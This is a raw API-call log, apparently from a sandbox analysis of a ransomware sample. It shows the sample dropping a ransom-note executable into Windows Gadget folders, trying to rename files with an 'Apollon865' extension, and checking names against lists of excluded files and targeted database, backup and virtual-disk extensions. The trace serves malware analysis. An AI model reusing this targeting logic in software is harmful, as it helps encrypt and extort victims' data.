	[0060.810] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\144dpi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.816] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\144DPI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c52a3b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c52a3b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.816] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.816] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.816] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI"
	[0060.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0060.816] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0060.816] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI") returned 69
	[0060.816] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI"
	[0060.816] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.816] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\120dpi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.822] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.822] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\120DPI\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x3c52a3b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c52a3b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.822] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.822] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.822] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US"
	[0060.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0060.822] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0060.822] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US") returned 61
	[0060.822] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US"
	[0060.822] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.822] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.831] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3c550510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c550510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0060.831] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.831] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.831] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml.Apollon865") returned 83
	[0060.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml.Apollon865" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\en-us\\gadget.xml.apollon865"), dwFlags=0x1) returned 0
	[0060.833] GetLastError () returned 0x5
	[0060.833] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 101
	[0060.833] lstrlenA (lpString="[ERROR] C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml MoveFileEx error 5\r\n") returned 101
	[0060.833] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0060.833] SetFilePointer (in: hFile=0x118, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2532
	[0060.834] WriteFile (in: hFile=0x118, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x65, lpOverlapped=0x0) returned 1
	[0060.834] CloseHandle (hObject=0x118) returned 1
	[0060.834] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0060.834] CloseHandle (hObject=0x0) returned 0
	[0060.834] CloseHandle (hObject=0x0) returned 0
	[0060.834] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c52a3b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c52a3b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.834] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.834] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22c02035, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0060.834] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.834] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0060.834] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0060.834] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0060.834] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0060.834] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0060.835] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0060.835] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0060.835] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0060.835] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0060.835] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0060.835] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0060.835] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0060.835] lstrlenW (lpString="js") returned 2
	[0060.835] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\gadget.xml") returned 72
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="Apollon865.txt.exe") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2=".") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="..") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="windows") returned -1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="bootmgr") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="temp") returned -1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="pagefile.sys") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="boot") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="ids.txt") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="ntuser.dat") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="perflogs") returned 1
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2="MSBuild") returned 1
	[0060.835] lstrlenW (lpString="settings.html") returned 13
	[0060.835] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js") returned 64
	[0060.835] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0060.835] lstrlenW (lpString=".dll") returned 4
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0060.835] lstrlenW (lpString=".lnk") returned 4
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0060.835] lstrlenW (lpString=".ini") returned 4
	[0060.835] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0060.836] lstrlenW (lpString=".sys") returned 4
	[0060.836] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0060.836] lstrlenW (lpString="settings.html") returned 13
	[0060.836] lstrlenW (lpString="bak") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="bak") returned 1
	[0060.836] lstrlenW (lpString="ba_") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="ba_") returned 1
	[0060.836] lstrlenW (lpString="dbb") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="dbb") returned 1
	[0060.836] lstrlenW (lpString="vmdk") returned 4
	[0060.836] lstrcmpiW (lpString1="html", lpString2="vmdk") returned -1
	[0060.836] lstrlenW (lpString="rar") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="rar") returned 1
	[0060.836] lstrlenW (lpString="zip") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="zip") returned -1
	[0060.836] lstrlenW (lpString="tgz") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="tgz") returned 1
	[0060.836] lstrlenW (lpString="vbox") returned 4
	[0060.836] lstrcmpiW (lpString1="html", lpString2="vbox") returned -1
	[0060.836] lstrlenW (lpString="vdi") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="vdi") returned -1
	[0060.836] lstrlenW (lpString="vhd") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="vhd") returned -1
	[0060.836] lstrlenW (lpString="vhdx") returned 4
	[0060.836] lstrcmpiW (lpString1="html", lpString2="vhdx") returned -1
	[0060.836] lstrlenW (lpString="avhd") returned 4
	[0060.836] lstrcmpiW (lpString1="html", lpString2="avhd") returned 1
	[0060.836] lstrlenW (lpString="db") returned 2
	[0060.836] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0060.836] lstrlenW (lpString="db2") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="db2") returned 1
	[0060.836] lstrlenW (lpString="db3") returned 3
	[0060.836] lstrcmpiW (lpString1="tml", lpString2="db3") returned 1
	[0060.836] lstrlenW (lpString="dbf") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="dbf") returned 1
	[0060.837] lstrlenW (lpString="mdf") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="mdf") returned 1
	[0060.837] lstrlenW (lpString="mdb") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="mdb") returned 1
	[0060.837] lstrlenW (lpString="sql") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="sql") returned 1
	[0060.837] lstrlenW (lpString="sqlite") returned 6
	[0060.837] lstrcmpiW (lpString1="s.html", lpString2="sqlite") returned -1
	[0060.837] lstrlenW (lpString="sqlite3") returned 7
	[0060.837] lstrcmpiW (lpString1="gs.html", lpString2="sqlite3") returned -1
	[0060.837] lstrlenW (lpString="sqlitedb") returned 8
	[0060.837] lstrcmpiW (lpString1="ngs.html", lpString2="sqlitedb") returned -1
	[0060.837] lstrlenW (lpString="xml") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="xml") returned -1
	[0060.837] lstrlenW (lpString="$er") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="$er") returned 1
	[0060.837] lstrlenW (lpString="4dd") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="4dd") returned 1
	[0060.837] lstrlenW (lpString="4dl") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="4dl") returned 1
	[0060.837] lstrlenW (lpString="^^^") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="^^^") returned 1
	[0060.837] lstrlenW (lpString="abs") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="abs") returned 1
	[0060.837] lstrlenW (lpString="abx") returned 3
	[0060.837] lstrcmpiW (lpString1="tml", lpString2="abx") returned 1
	[0060.837] lstrlenW (lpString="accdb") returned 5
	[0060.837] lstrcmpiW (lpString1=".html", lpString2="accdb") returned -1
	[0060.837] lstrlenW (lpString="accdc") returned 5
	[0060.837] lstrcmpiW (lpString1=".html", lpString2="accdc") returned -1
	[0060.837] lstrlenW (lpString="accde") returned 5
	[0060.837] lstrcmpiW (lpString1=".html", lpString2="accde") returned -1
	[0060.838] lstrlenW (lpString="accdr") returned 5
	[0060.838] lstrcmpiW (lpString1=".html", lpString2="accdr") returned -1
	[0060.838] lstrlenW (lpString="accdt") returned 5
	[0060.838] lstrcmpiW (lpString1=".html", lpString2="accdt") returned -1
	[0060.838] lstrlenW (lpString="accdw") returned 5
	[0060.838] lstrcmpiW (lpString1=".html", lpString2="accdw") returned -1
	[0060.838] lstrlenW (lpString="accft") returned 5
	[0060.838] lstrcmpiW (lpString1=".html", lpString2="accft") returned -1
	[0060.838] lstrlenW (lpString="adb") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.838] lstrlenW (lpString="adb") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="adb") returned 1
	[0060.838] lstrlenW (lpString="ade") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="ade") returned 1
	[0060.838] lstrlenW (lpString="adf") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="adf") returned 1
	[0060.838] lstrlenW (lpString="adn") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="adn") returned 1
	[0060.838] lstrlenW (lpString="adp") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="adp") returned 1
	[0060.838] lstrlenW (lpString="alf") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="alf") returned 1
	[0060.838] lstrlenW (lpString="ask") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="ask") returned 1
	[0060.838] lstrlenW (lpString="btr") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="btr") returned 1
	[0060.838] lstrlenW (lpString="cat") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="cat") returned 1
	[0060.838] lstrlenW (lpString="cdb") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="cdb") returned 1
	[0060.838] lstrlenW (lpString="ckp") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="ckp") returned 1
	[0060.838] lstrlenW (lpString="cma") returned 3
	[0060.838] lstrcmpiW (lpString1="tml", lpString2="cma") returned 1
	[0060.839] lstrlenW (lpString="cpd") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="cpd") returned 1
	[0060.839] lstrlenW (lpString="dacpac") returned 6
	[0060.839] lstrcmpiW (lpString1="s.html", lpString2="dacpac") returned 1
	[0060.839] lstrlenW (lpString="dad") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dad") returned 1
	[0060.839] lstrlenW (lpString="dadiagrams") returned 10
	[0060.839] lstrcmpiW (lpString1="tings.html", lpString2="dadiagrams") returned 1
	[0060.839] lstrlenW (lpString="daschema") returned 8
	[0060.839] lstrcmpiW (lpString1="ngs.html", lpString2="daschema") returned 1
	[0060.839] lstrlenW (lpString="db-journal") returned 10
	[0060.839] lstrcmpiW (lpString1="tings.html", lpString2="db-journal") returned 1
	[0060.839] lstrlenW (lpString="db-shm") returned 6
	[0060.839] lstrcmpiW (lpString1="s.html", lpString2="db-shm") returned 1
	[0060.839] lstrlenW (lpString="db-wal") returned 6
	[0060.839] lstrcmpiW (lpString1="s.html", lpString2="db-wal") returned 1
	[0060.839] lstrlenW (lpString="dbc") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dbc") returned 1
	[0060.839] lstrlenW (lpString="dbs") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dbs") returned 1
	[0060.839] lstrlenW (lpString="dbt") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dbt") returned 1
	[0060.839] lstrlenW (lpString="dbv") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dbv") returned 1
	[0060.839] lstrlenW (lpString="dbx") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dbx") returned 1
	[0060.839] lstrlenW (lpString="dcb") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dcb") returned 1
	[0060.839] lstrlenW (lpString="dct") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dct") returned 1
	[0060.839] lstrlenW (lpString="dcx") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="dcx") returned 1
	[0060.839] lstrlenW (lpString="ddl") returned 3
	[0060.839] lstrcmpiW (lpString1="tml", lpString2="ddl") returned 1
	[0060.839] lstrlenW (lpString="dlis") returned 4
	[0060.840] lstrcmpiW (lpString1="html", lpString2="dlis") returned 1
	[0060.840] lstrlenW (lpString="dp1") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="dp1") returned 1
	[0060.840] lstrlenW (lpString="dqy") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="dqy") returned 1
	[0060.840] lstrlenW (lpString="dsk") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="dsk") returned 1
	[0060.840] lstrlenW (lpString="dsn") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="dsn") returned 1
	[0060.840] lstrlenW (lpString="dtsx") returned 4
	[0060.840] lstrcmpiW (lpString1="html", lpString2="dtsx") returned 1
	[0060.840] lstrlenW (lpString="dxl") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="dxl") returned 1
	[0060.840] lstrlenW (lpString="eco") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="eco") returned 1
	[0060.840] lstrlenW (lpString="ecx") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="ecx") returned 1
	[0060.840] lstrlenW (lpString="edb") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="edb") returned 1
	[0060.840] lstrlenW (lpString="epim") returned 4
	[0060.840] lstrcmpiW (lpString1="html", lpString2="epim") returned 1
	[0060.840] lstrlenW (lpString="fcd") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="fcd") returned 1
	[0060.840] lstrlenW (lpString="fdb") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="fdb") returned 1
	[0060.840] lstrlenW (lpString="fic") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="fic") returned 1
	[0060.840] lstrlenW (lpString="flexolibrary") returned 12
	[0060.840] lstrcmpiW (lpString1="ettings.html", lpString2="flexolibrary") returned -1
	[0060.840] lstrlenW (lpString="fm5") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="fm5") returned 1
	[0060.840] lstrlenW (lpString="fmp") returned 3
	[0060.840] lstrcmpiW (lpString1="tml", lpString2="fmp") returned 1
	[0060.841] lstrlenW (lpString="fmp12") returned 5
	[0060.841] lstrcmpiW (lpString1=".html", lpString2="fmp12") returned -1
	[0060.841] lstrlenW (lpString="fmpsl") returned 5
	[0060.841] lstrcmpiW (lpString1=".html", lpString2="fmpsl") returned -1
	[0060.841] lstrlenW (lpString="fol") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="fol") returned 1
	[0060.841] lstrlenW (lpString="fp3") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="fp3") returned 1
	[0060.841] lstrlenW (lpString="fp4") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="fp4") returned 1
	[0060.841] lstrlenW (lpString="fp5") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="fp5") returned 1
	[0060.841] lstrlenW (lpString="fp7") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="fp7") returned 1
	[0060.841] lstrlenW (lpString="fpt") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="fpt") returned 1
	[0060.841] lstrlenW (lpString="frm") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="frm") returned 1
	[0060.841] lstrlenW (lpString="gdb") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0060.841] lstrlenW (lpString="gdb") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="gdb") returned 1
	[0060.841] lstrlenW (lpString="grdb") returned 4
	[0060.841] lstrcmpiW (lpString1="html", lpString2="grdb") returned 1
	[0060.841] lstrlenW (lpString="gwi") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="gwi") returned 1
	[0060.841] lstrlenW (lpString="hdb") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="hdb") returned 1
	[0060.841] lstrlenW (lpString="his") returned 3
	[0060.841] lstrcmpiW (lpString1="tml", lpString2="his") returned 1
	[0060.841] lstrlenW (lpString="ib") returned 2
	[0060.841] lstrcmpiW (lpString1="ml", lpString2="ib") returned 1
	[0060.841] lstrlenW (lpString="idb") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="idb") returned 1
	[0060.842] lstrlenW (lpString="ihx") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="ihx") returned 1
	[0060.842] lstrlenW (lpString="itdb") returned 4
	[0060.842] lstrcmpiW (lpString1="html", lpString2="itdb") returned -1
	[0060.842] lstrlenW (lpString="itw") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="itw") returned 1
	[0060.842] lstrlenW (lpString="jet") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="jet") returned 1
	[0060.842] lstrlenW (lpString="jtx") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="jtx") returned 1
	[0060.842] lstrlenW (lpString="kdb") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="kdb") returned 1
	[0060.842] lstrlenW (lpString="kexi") returned 4
	[0060.842] lstrcmpiW (lpString1="html", lpString2="kexi") returned -1
	[0060.842] lstrlenW (lpString="kexic") returned 5
	[0060.842] lstrcmpiW (lpString1=".html", lpString2="kexic") returned -1
	[0060.842] lstrlenW (lpString="kexis") returned 5
	[0060.842] lstrcmpiW (lpString1=".html", lpString2="kexis") returned -1
	[0060.842] lstrlenW (lpString="lgc") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="lgc") returned 1
	[0060.842] lstrlenW (lpString="lwx") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="lwx") returned 1
	[0060.842] lstrlenW (lpString="maf") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="maf") returned 1
	[0060.842] lstrlenW (lpString="maq") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="maq") returned 1
	[0060.842] lstrlenW (lpString="mar") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="mar") returned 1
	[0060.842] lstrlenW (lpString="marshal") returned 7
	[0060.842] lstrcmpiW (lpString1="gs.html", lpString2="marshal") returned -1
	[0060.842] lstrlenW (lpString="mas") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="mas") returned 1
	[0060.842] lstrlenW (lpString="mav") returned 3
	[0060.842] lstrcmpiW (lpString1="tml", lpString2="mav") returned 1
	[0060.843] lstrlenW (lpString="maw") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="maw") returned 1
	[0060.843] lstrlenW (lpString="mdbhtml") returned 7
	[0060.843] lstrcmpiW (lpString1="gs.html", lpString2="mdbhtml") returned -1
	[0060.843] lstrlenW (lpString="mdn") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="mdn") returned 1
	[0060.843] lstrlenW (lpString="mdt") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="mdt") returned 1
	[0060.843] lstrlenW (lpString="mfd") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="mfd") returned 1
	[0060.843] lstrlenW (lpString="mpd") returned 3
	[0060.843] lstrcmpiW (lpString1="tml", lpString2="mpd") returned 1
	[0060.843] lstrlenW (lpString="mrg") returned 3
